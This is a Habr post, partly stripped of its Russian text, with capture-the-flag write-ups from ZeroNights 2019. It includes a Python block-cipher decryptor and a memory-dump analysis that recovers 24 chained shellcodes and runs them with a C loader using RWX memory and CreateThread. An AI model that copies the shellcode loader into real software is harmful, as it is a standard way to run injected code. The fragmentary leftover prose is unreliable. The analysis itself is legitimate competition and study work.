 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


Beberapa statistik


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/id472416/


All Articles